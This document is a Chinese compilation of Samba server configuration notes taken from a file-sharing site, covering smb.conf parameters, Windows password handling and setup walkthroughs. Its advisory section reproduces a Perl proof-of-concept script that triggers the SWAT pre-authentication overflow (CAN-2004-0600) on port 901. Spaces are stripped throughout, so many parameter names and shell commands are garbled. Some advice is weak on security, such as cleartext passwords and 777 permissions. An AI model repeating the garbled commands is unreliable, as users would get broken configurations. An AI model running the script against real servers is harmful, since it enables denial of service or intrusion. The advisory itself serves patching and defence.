Samba服务器配置资料大全.docx

上传人:b****5 文档编号:12535458 上传时间:2023-04-20 格式:DOCX 页数:41 大小:34.96KB
下载 相关 举报
Samba服务器配置资料大全.docx_第1页
第1页 / 共41页
Samba服务器配置资料大全.docx_第2页
第2页 / 共41页
Samba服务器配置资料大全.docx_第3页
第3页 / 共41页
Samba服务器配置资料大全.docx_第4页
第4页 / 共41页
Samba服务器配置资料大全.docx_第5页
第5页 / 共41页
点击查看更多>>
下载资源
资源描述

Samba服务器配置资料大全.docx

《Samba服务器配置资料大全.docx》由会员分享,可在线阅读,更多相关《Samba服务器配置资料大全.docx(41页珍藏版)》请在冰豆网上搜索。

Samba服务器配置资料大全.docx

Samba服务器配置资料大全

Samba服务器配置资料大全

目录

Samba服务器配置资料大全1

1Samba服务器配置文件2

1.1

(1)全局参数2

1.2

(2)资源共享的选项5

1.3(3)特殊变量7

1.4文件实例:

7

2Samba3.xSWAT预验证远程缓冲区溢出漏洞8

3Samba和Windows的密码处理认证方式10

4linux—windows互联实战经历10

5Samba3.0服务器实战调试12

6SMB的扩展应用16

7Smaba配置文件详细分析

(二)22

1Samba服务器配置文件

/etc/samba/smb.conf

功能:

设置samba服务器选项和共享资源的设置

文件格式:

#说明语句

[global]//定义samba服务器的全局选项

……

全局参数=值

……

[homes]//共享用户主目录

……

资源共享参数=值

……

[printers]//打印机共享

……

资源共享参数=值

……

[public]//共享目录设置

……

资源共享参数=值

……

以上声明为系统自带的声明,用户也可以根据实际需要定义共享目录:

[自定义]//自定义的共享

……

资源共享参数=值

……

说明:

1.1

(1)全局参数

基本全局参数:

Workgroup=域名/工作组名

功能:

设定samba服务器所属工作组/域的名称)

Netbiosname=主机名称

功能:

设置samba服务器的netbios名称

Serverstring=字符串

功能:

设置samba服务器的描述

interfaces=接口名/ip地址

功能:

设置samba服务器的ip地址,如果不想使用默认IP地址或者想同时使用多个IP地址,可以设置这个选项

clientcodepage=850/936

功能:

设定客户端存取samba服务器的资源时所使用的字符编码表

实例:

clientcodepage=936

安全设置参数:

adminusers=用户名

功能:

设置管理员账号

socketaddress=ip地址

功能:

指定samba服务器监听的ip地址

security=user/share/domain/server

功能:

设置samba的共享安全级别

注意:

share//表示共享级访问,服务器不对客户机进行身份验证

user//表示用户级访问

server//表示服务器级访问,被访问的samba服务器请求另一台samba服务器对客户机进行身份验证

domain//表示域级访问,由域控制器对客户机进行身份验证

passwordserver=ip址址/主机名

功能:

指定密码服务器的位置,当security值为server/domain必须设置该参数

encryptpasswords=yes/no

功能:

指定是否使用加密口令

注意:

对于windows客户机来说,该选项应该设置为yes

restrictanonymous=true/false

功能:

指定服务器是否允许winNT/2000以匿名方式登录

实例:

restrictanonymous=false

smbpasswdfile=文件路径

功能:

指定samba用户密码的文件位置

实例:

smbpasswdfile=/etc/samba/smbpasswd

maptoguest=never/baduser/badpassword

功能:

设置当用户所输入的用名和密码不正确时的处理方式

注意:

该选项只有security=share时才有效,该选项可以取以下三种值:

never表示拒绝使用任何资源

baduser表示用户输入用户名正确,但密码错误时,可以允许以guest登录

badpassword表示用户输入的用户名和口令都错误时,可以允许以guest登录

 

usernamemap=文件路径

功能:

指定SMB用户名与LINUX用户名映射文件的路径

实例:

usernamemap=/etc/samba/smbusers

guestaccount=用户名

功能:

指定来宾账号的名称,默认为nobody

hostsallow=ip地址/主机名/域名

功能:

设置允许访问的客户机

hostsdeny=ip地址/主机名/域名

功能:

设置禁止访问的客户机

打印机设置参数:

printcapname=路径

功能:

设定打印机的配置文件的位置

实例:

printcapname=/etc/printcap

loadprinters=yes/no

功能:

设定是否自动装载打印机的装载文件,当要做打印服务器时必须设置为yes

printing=/cups/bsd/lprng/sysv

功能:

设置打印机相关指令时所采取的模式

实例:

printing=lprng

printername=名称

功能:

设置打印机的名称

日志设置参数:

logfile=路径

功能:

定义日志文件的位置

实例:

logfile=/var/log/samba/%m.log

maxlogsize=数字

功能:

定义日志文件的最大千字节

运行效率参数:

changenotifytimeout=数字

功能:

设置服务器周期性异常通知

实例:

changenotifytimeout=90

deadtime=数字

功能:

客户端无操作多少分钟后服务器中断连接

实例:

deadtime=10

getwdcache=yes/no

功能:

是否启用cache功能

keepalive=数字

功能:

服务器每隔多少秒向客户端发送keepalive包用于确认客户端是否工作正常

maxopenfiles=数字

功能:

同一个客户端最多能打开的文件数目

实例:

maxopenfiles=1000

wins设置参数:

winssupport=yes/no

功能:

是否支持wins解析

实例:

winssupport=yes

winsserver=服务器

功能:

指定wins服务器的位置

实例:

winsserver=192.168.0.2

winsproxy=yes/no

功能:

设置samba服务器是否支持wins代理功能

实例:

winsproxy=yes

1.2

(2)资源共享的选项

基本参数:

comment=说明语句

功能:

对共享资源的说明

path=路径

功能:

共享资源的路径

访问控制参数:

browseable=yes/no

功能:

是否可以浏览共享目录,默认为yes

printable=yes/no

功能:

设置客户机是否可以使用共享打印机打印

avalidable=yes/no

功能:

设置共享资源是否可用

实例:

avalidable=yes

public=yes/no

功能:

设置共享资源是否允许所有用户访问,除guest用户以外

guestok=yes/no

功能:

设置是否允许guest用户访问共享资源

guestonly=yes/no

功能:

设置共享目录只允许guest用户访问

readonly=yes/no

功能:

访问用户对共享资源只读

validusers=用户名/@组名

功能:

设定指定允许访问共享资源的用户/组,多用户名用逗号分开,指定组时要在组名前加@

实例:

valideusers=u1,u2,@g1

invalidusers=用户名/@组名

功能:

设定指定禁止访问共享资源的用户/组,多用户名用逗号分开,指定组时要在组名前加@

createmode=权限值

功能:

指定客户机在共享目录中创建文件的默认权限,默认权限为744

directorymode=0775

功能:

指定客户机共享目录中创建文件目录的默认权限,默认权限为755

writable=yes/no

功能:

指定共享的路径是否可写

writelist=用户名/@组名

功能:

设定允许读写共享目录的用户列表

实例:

writelist=abc,@g2

readlist=用户名/@组名

功能:

设定只读访问用户列表

实例:

readlist=abc,@cuo

自动执行参数:

preexec=路径

功能:

指定客户机连接时要自动执行文件

postexec=路径

功能:

指定客户机断开连接时要自动执行的文件

rootpreexec=路径

功能:

指定客户机连接时要以ROOT用户身份自动执行的文件

实例:

rootpreexec=/bin/mount/dev/cdrom

rootpostexec=路径

功能:

指定客户机断开连接时要以ROOT用户身份自动执行的文件

实例:

rootpostexec=/bin/umount/dev/cdrom

1.3(3)特殊变量

%S(大写):

当前服务名

%P(大写):

当前服务的根目录

%u:

当前服务的用户名

%h:

samba服务器的主机名

%m:

客户机的NETBIOS名

%Lsamba服务器的netbios名

%vsamba版本号

%g给定%u的所在的主工作组名

%H给定的%u的宿主目录

%T当前日期和时间

1.4文件实例:

根据以下要求/etc/samba/smb.conf文件:

⏹设置samba服务器的工作组名为linuxgroup,NETBIOS名为linux

⏹设置samba服务器的访问模式为share

⏹共享/soft目录,共享名为soft,该共享目录允许所有的用户读写操作

#vi/etc/samba/smb.conf

修改内容如下:

[global]

Workgroup=linuxgroup

Netbiosname=linux

………

Security=share

………

[homes]

………

………

[printers]

………

………

[soft]//添加如下这个声明

comment=applicsoftshared

path=/soft

browseable=yes

writable=yes

guestok=yes

public=yes

 

2Samba3.xSWAT预验证远程缓冲区溢出漏洞

严重程度:

威胁程度:

远程管理员权限

错误类型:

边界检查错误

利用方式:

服务器模式

CVE(CAN)ID:

CAN-2004-0600

受影响系统

Samba3.0.2

Samba3.0.3

Samba3.0.4

详细描述

SWAT是SambaWeb管理工具。

SambaSWAT服务预验证存在缓冲区溢出问题,远程攻击者可以利用这个漏洞在系统上以SWAT进程权限执行任意指令。

问题存在于source/lib/util_str.c文件中的进行HTTPBasic验证的base64_decode_data_blob函数中.

测试代码

#!

/usr/bin/perl

#Samba3.0.4andprior'sSWATAuthorizationBufferOverflow

#CreatedbyNoamRathausofBeyondSecurityLtd.

#

useIO:

:

Socket;

usestrict;

my$host=$ARGV[0];

my$remote=IO:

:

Socket:

:

INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>"901");

unless($remote){die"cannotconnecttohttpdaemonon$host"}

print"connected\n";

$remote->autoflush

(1);

my$http="GET/HTTP/1.1\r

Host:

$host:

901\r

User-Agent:

Mozilla/5.0(X11;U;Linuxi686;en-US;rv:

1.7)Gecko/20040712Firefox/0.9.1\r

Accept:

text/xml\r

Accept-Language:

en-us,en;q=0.5\r

Accept-Encoding:

gzip,deflate\r

Accept-Charset:

ISO-8859-1,utf-8;q=0.7,*;q=0.7\r

Keep-Alive:

300\r

Connection:

keep-alive\r

Authorization:

Basic=\r

\r

";

print"HTTP:

[$http]\n";

print$remote$http;

sleep

(1);

print"Sent\n";

while(<$remote>)

{

print$_;

}

print"\n";

close$remote;

解决方案

下载升级程序:

Samba3.0.5:

http:

//www.samba.org/samba/whatsnew/samba-3.0.5.htm

相关信息

3Samba和Windows的密码处理认证方式

因为两者的密码处理认证方式不同,所以导致输入正确的密码时还是无法通过。

以Windows98来说,系统预设是使用encrypt编码的方式,而samba则是预设使用

text明码的方式。

所以说解决的方式有:

方法一:

把smb.conf档案内的encryptpasswords改成=yes:

encryptpasswords=yes

smbpasswdfile=/etc/smbpasswd

然后使用smbpasswd-axxxx建立主机上xxxxuser的

存取密码。

往后windows98就使用这个密码即可。

请注意你改的登录要先恢复原状。

此方式使用编码的密码

方式来存取。

方法二:

找/usr/doc/sambaX-XXXX/docs目录的.reg登录档案,

在windows98把该档案汇入系统后即可。

让大家是是使用

为明码的方式来存取即可。

4linux—windows互联实战经历

  本人刚连接完linux和windows98、me、2000、2kserver互联实践,走了不少弯路,现将一些感想和本人所碰到的一些故障现象作一下笔记,以方便初手:

一、samba

首先要知道samba是一组程序,他让你的linux机器懂得smb协议。

在运行samba服务器程序的时候,你的linux机器在网络邻居中看起来如同一台windows的机器。

二、我的配置过程

1、修改smb.conf

我选的是系统默认安装的samba,但系统启动完后,发现samba没有启动,(#ps-axf|grepsmb),手动启动(#/etc/rc.d/init.d/smbrestart)

修改/etc/samba/smb.conf有些书上说是/etc/smb.conf我也不知道为什么,可能是版本差异吧。

我就修改了

[global]组的:

workgroup=JD(我的工作组名是JD)

netbiosname=vmlinux

security=user(采用用户方式验证)

encryptpasswords=no(我采用的是明文密码验证)

smbpasswdfile=/etc/smbpasswd(设置smb密码文件的位置)

[public](把[public]组前面的“;”全拿掉

path=/pub(共享pub目录)

我就修改了这些,其他就是把#开头的段全删了(碍眼)

2、添加相应目录和用户

#mkdirpub(添加/pub目录)

#addusertest(添加test用户)注:

现在添加的只是linux本机用户,并没用添加smb用户,换句话说,test现在不能通过网络访问这台linux主机。

#passwdtest(设置test用户密码)

#vi/etc/passwd(把一些你不用或者你不知道的用户全删了)

#cat/etc/passwd|mksmbpasswd.sh>/etc/smbpasswd(把linux本机用户加到smb用户里去)

#smbpasswdtest(设置test用户的smb访问口令)

#/etc/rc.d/init.d/smbrestart(重启samba)

ok,linux主机上我就设了这些,下面开始测试

2、测试linuxsmb(在本机上测试)

#smbclient-L//vmlinux(先用smbclient测试本机smb是否工作正常,应能看到/root/public这些目录)

#smbclient\\\\vmlinux\\root(现在连接目录,提示输入密码,你自己知道)

这样的话,linux机器互访应该没问题了。

注意:

#vi/etc/hosts(添加win98\me\2000机器的ip和主机名,看看有没有自己的,没有的话也填上)

 

测试windows的机器前先

找到/usr/share/doc/sambaX-XXXX/docs下*.reg文件

导入windows的机器,我发现这个还能解决win2000的机器互访winme、98时常常出现的怪病,现在2k和98在局域网里访问都正常的要死。

3、测试win98、me

现在能在win98、me的网上邻居里看到linux机器名了,点击,倒,什么?

提示要什么IPC$密码!

解决方法:

控制面板—用户密码—添加test用户(刚才在smb里面添加的那个用户)重启,用这个用户名登陆,现在再访问,应该没问题了(至少我是ok了)

4、测试win2000

1台(win2k1)提示:

请输入用户名和密码(然后你打什么用户名和密码都没用)

另一台(win2k2)提示:

此账户未得到从这个工作站登陆的许可

再倒!

解决方法:

发现win2000虽然是用的test用户名和密码,但是现在登陆在win2000的域里,我在win2000本机里添加test用户,然后用test登陆本机,访问linux机器,现在正常了。

5Samba3.0服务器实战调试

fedora预装的samba已经是samba-3.0.0-15,功能已经非常强大了,今天我们调试的重点不是samba3.0的新功能,我们还是先来实现他的基本功能,文件共享服务,至于域控制器功能我会在以后的调试手记中阐述。

我们今天要实现的环境是,假如公司有财务,技术,领导3个部门,我们分别为3个部门建立3个用户组为caiwu,network,lingdao;

三个部门里各有2个用户,我们建用户分别为caiwu01,caiwu02,network01,network02,lingdao01,lingdao02

然后我们分别就公司的具体情况建立相应的目录及访问权限,通过以下的例子,希望大家能在平时的工作中灵活的应用samba的安全权限来设置你们的samba文件服务器。

1。

首先服务器采用用户验证的方式,每个用户可以访问自己的宿主目录,并且只有该用户能访问宿主目录,并具有完全的权限,而其他人不能看到你的宿主目录。

2。

建立一个caiwu的文件夹,希望caiwu组和lingdao组的人能看到,network02也可以访问,但只有caiwu01有写的权限。

3。

建立一个lindao的目录,只有领导组的人可以访问并读写,还有network02也可以访问,但外人看不到那个目录

4。

建议一个文件交换目录exchange,所有人都能读写,包括guest用户,但每个人不能删除别人的文件。

5。

建议一个公共的只读文件夹public,所有人只读这个文件夹的内容。

 

好,我们先来前期的工作

#groupaddcaiwu

#groupaddnetwork

#groupaddlingdao

#useraddcaiwu01-gcaiwu

#useraddcaiwu02-gcaiwu

#useraddnetwork01-gnetwork

#useraddnetwork02-gnetwork

#useraddlingdao01-glingdao

#useraddlingdao02-glingdao

然后我们使用smbpasswd-acaiwu01的命令为6个帐户分别添加到samba用户中

#mkdir/home/samba

#mkdir/home/samba/caiwu

#mkdir/home/samba/lingdao

#mkdir/home/samba/exchange

#mkdir/home/samba/public

我们为了避免麻烦可以在这里把上面所有的文件夹的权限都设置成777,我们通过samba灵活的权限管理来设置上面的5点要求。

以下是我的smb.conf的配置文件

[global]

workgroup=bmit

#我的网络工作组

serverstring=Frank'sSambaFileServer

#我的服务器名描述

security=user

#使用用户验证机制

encryptpasswords=yes

smbpasswdfile=/etc/samba/smbpasswd

#使用加密密码机制,在win95和winnt使用的是明文

其他的基本上可以按照默认的来。

[homes]

comment=HomeDirectories

browseable=no

writable=yes

validusers=%S

createmode=0664

directorymode=0775

#homes段满足第1条件

[caiwu]

comment=caiwu

path=/home/samba/caiwu

public=no

validusers=@caiwu,@lingdao,network02

writelist=caiwu01

printable=no

#caiwu段满足我们的第2要求

[lingdao]

comment=lingdao

path=/home/samba/lingdao

public=no

browseable=no

validusers=@lingdao,network02

printable=no

#lingdao段能满足我们的第3要求

[exchage]

comment=ExchangeFileDirecto

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 解决方案 > 营销活动策划

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1